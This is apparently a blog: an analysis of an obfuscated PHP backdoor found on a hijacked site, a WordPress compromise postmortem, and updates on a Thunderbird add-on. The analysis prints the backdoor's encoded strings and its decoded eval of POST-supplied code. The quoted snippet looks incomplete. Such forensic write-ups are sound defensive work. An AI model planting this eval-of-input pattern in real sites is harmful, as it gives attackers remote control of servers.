I was recently involved in a postmortem of a web site compromise in which the website was hijacked to distribute malware. How the website was originally compromised is not that interesting, these things happen on a fairly frequent basis and are usually related to very common root causes.
What was interesting is that a couple of files were identified which appeared to have been uploaded by the attacker(s) to provide a means for them to re-compromise the system if it was ever fixed.
Two of these files where found, with significantly different levels of sophistication.
Here is the first one, complete and unaltered:
$_= //system file do not delete
//system file do not delete
$__ = “JGNvZGUgPSBiYXNlNjRfZGVjb2RlKCRfKTsKZXZhbCgkY29kZSk7″;
$___ = “\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65″;
Many readers will quickly identify the base64 encoding in the first variable declaration. The fact that a comment starts after the equals sign is unusual but legal PHP syntax, designed to throw off anyone looking at the file, PHP simply ignores the comment and picks up on the next line to finish the statement.
The second assignment, $__, while not baring the obvious equal sign padding at the end is also base64 encoded. It strikes me as odd that the developers of these things always use base64 encoding, to the point where it is now commonly suggested to search code bases for base64_decode as a method for detecting malicious files.
The third assignment, $___, caught me off guard for a moment and took a little while to puzzle out what is going on. Clearly it’s not base64 encoded the format is wrong. Instead this is nothing more than a mix of decimal and hexadecimal ascii representations. \x00 designates the ascii character in HEX while \00 represents the same in binary. A couple of minutes with an ascii table helped decode this line.
With all the encoded strings worked out, the actual code is rather simple, Here it is, listed in execution order with the variables substituted in.
eval(“$code = base64_decode($_); eval($code)”)
So after all that redirection all this does, is check to see if a POST variable is set, and if it is base64 decode it and execute it.
Despite being relatively simple, this allows the attacker to do anything that can be done with PHP, list files, read/write files, connect to databases (after finding the passwords by reading a config file). Adding malicious content, grabbing database tables and redirecting traffic are all very possible at this point.
In the investigation where I found this file, there was no evidence that it had been used or how it was intended to be used. However if I was interacting with a large set of sites infected with this file I’d plan to use a webconsole that allowed me to select a target URL and choose from a common set of scripts to achieve my outcomes. This would allow for library of fairly complex scripts to be developed, which would be more difficult if it was used independently of such a tool.
I am also somewhat curious about the multiple levels of base64 decoding, I’m not sure what the multiple calls were trying to achieve. It wasn’t any harder to decode 2 strings than 1. Additionally other than some rather obvious “this is a system file, do not delete” comments there was no real attempt to hide what the intent of the file was. I can think of several things that would have made this file less obviously malicious.
As I mentioned at the start, this was the simpler of the 2 PHP backdoors I’ve come across so far. Given the complexity of the next one I’ll break it down over a couple of articles, starting with access control and self preservation.
I was recently involved in providing advice on a website that had been compromised and asked to identify the cause.
First by way of background, the website (a self-hosted wordpress site) had been developed by an external company and hosted on a 3rd parties servers, had been running for a couple of years without incident. The administrators of the site realised that there had been a security breach when Google & Firefox began reporting ‘this site may harm your computer’, initial investigation showed that it was trying to download malware onto visitor’s websites.
The first thing to do in a situation like this is TELL SOMEONE and DO NOTHING. Tell someone who understands how to deal with an information security event, your hosting provider may not fit this criteria. Do nothing, in this case means precisely that, until you’ve got advice from your security expert don’t touch the site, don’t ask your provider to fix it, just leave it. If you have to do something, make sure you get a backup of everything related to the website, php files, database, image files, log files, etc.
This didn’t happen in the most recent situation, the hosting provider tried to ‘fix’ the problem by installing a new copy of wordpress, before I was able to get a
copy of the current files and logs. This instantly destroyed significant amounts of information which would have been invaluable in identifying how the site was compromised in the first place. The hosting provider’s work was also in vain, within 48 hours of ‘fixing’ the site, it had been recompromised (through a backdoor that the attackers created when the site was initially compromised) and was once again delivering malware to visitors. I’ll cover the backdoors found in separate posts.
Once I was able to take a copy of the website, logs and gather some information about the site, the situation became fairly clear; although my initial hypothesis missed the mark
Investigation revealed that the site was running
– 3 yr old version of Apache
– 2 yr old version of PHP
– 18 month old version of WordPress
– MySQL Admin, version unknown as the provider deleted the files, but likely old
Each of these pieces of software has had enough vulnerabilities in recent times that would enable an attacker to compromise the website. The logs showed several attempts (some of which were successful) at performing SQL Injections and timthumb exploits.
My first guess at the root cause was that the attackers had compromised the site through one of these avenues, there were enough to choose from. However as noted above this was not (solely) the case.
At this point I began looking at how the site was recompromised after the hosting provider ‘fixed’ it. Looking at the file modification times, showed that a number of files, such as wp-login.php had been modified several hours after the ‘fix’, these files, once reviewed showed the same indicators of compromise (embeded iframes to random websites) that had been observed earlier. Knowing when the files where changed made it easy to go back to the access logs and see what was going on at the same point in time. Sure enough there as a request to a ‘help.php’ file at the same second as the files were changed. More suspicious is that there was no other access by the same source IP address immediately preceding the ‘help.php’ request.
Investigating the help.php file proved very interesting. From the directory listing, it appeared to be part of a wordpress theme (although the administrators dont remember installing it) and the content strongly suggested it was a ‘backdoor’. For those interested I will post a followup with analysis of both backdoors found as a result of this exercise. The file creation date was also interesting. Using the same process as before I went back to the webserver logs and looked for activity around the same time as the backdoor was created.
Sure enough there was some very obvious activity at this time.
Someone had logged into wordpress (visited wp-admin), gone to the install theme page (wp???) and installed the theme with the backdoor ‘help.php’ file(wp???), then moments later visited the help.php page. The time of this event was most likely to point of original compromise.
Most interesting was that there were no obvious signs of exploitation immediately preceding the above log entries, it looked like an administrator had just logged in and installed the malicous theme although the IP address of the offending connection was foreign to the organisations legitimately involved in the site. After discovering this I asked for the admin password and was disheartened to find (although not really surprised) that it was a very simple password (it will be in almost every top 100 bad password list out there).
All told, the website in question could have been compromised in a number of ways, multiple exploitable vulnerabilities where available for attackers to try, however none of these methods was required in this case. The hashed password was obtained through a SQL injection attack against mysqladmin, which was then trivially brute forced. This allowed the attacker to log in as he/she chose and infect the website at leisure.
What lessons do I hope my clients (and readers) take away from this incident:
1) Understand who is responsible for keeping webservers up to date
1a) Make sure whoever is responsible is doing their job
1b) If you can’t keep your servers up to date, you have NO business running a website
2) Make sure all admin passwords are reasonably robust
3) Know, beforehand, how to respond should a security incident like this occur again.
As I mentioned at the start of this article, there will be two followup articles to this, both looking at the two different backdoors that were found, their self protection mechanisms and functionality.
Thanks to a couple of people chasing me on Twitter and in comments here, I have uploaded both SocialMail and FullContact4Thunderbird to github.
While I don’t personally have much time for development any more due to my various other commitments, I am more than happy to enable others to take these projects forward.
For those who would like to contribute, the repositories are:
As will all my projects this is something of an experiment, I’ll try to manage the repositories and contributions, but we’ll see how it goes.
It’s been a long time since the last SocialMail update and I’ve had to make some the call to discontinue development.
There are a few reasons for this. Firstly. I no longer use thunderbird regularly, almost all my personal email is handled on my iphone now. It’s still my preferred thick client for email; just not something I use regularly. Since I’m not using Thunderbird, I don’t use SocialMail either ;-(
Secondly, time has become rather a scarce commodity. With a new addition to the household earlier in the year and a few other projects on the go (in addition to my day job, I need to refocus on a few activities, in order to get anything done.
Maybe in the future I’ll have time to pick SocialMail development up again, but for now its on the backburner.
If anyone is keen to take on SocialMail development (under GPL or similar), I’m more than happy for them to do so.
That’s it for now, however there are new projects (some code based, others not) on the horizon….
Thanks to Mozilla’s new philosophy of publishing new major releases every month or so, SocialMail has been a little behind the times for a little while. However I am pleased to say that there is finally a new version which:
- Is Thunderbird 7 Compatible
- May work with Thunderbird 8, but not tested, I’ve just incremented the version compatibility as it should work
- Fixes some problems with international characters in contact’s names (Thanks to Frank who reported this)
- I can’t test this myself as I have no contacts with European names, so I’d appreciate any feedback
Thats it for the moment, I’ve been flat out with the day job, family stuff and other commitments, I’m just not getting much time for coding. Hopefully that will change soon…
Get it here: socialmail-0.6.3b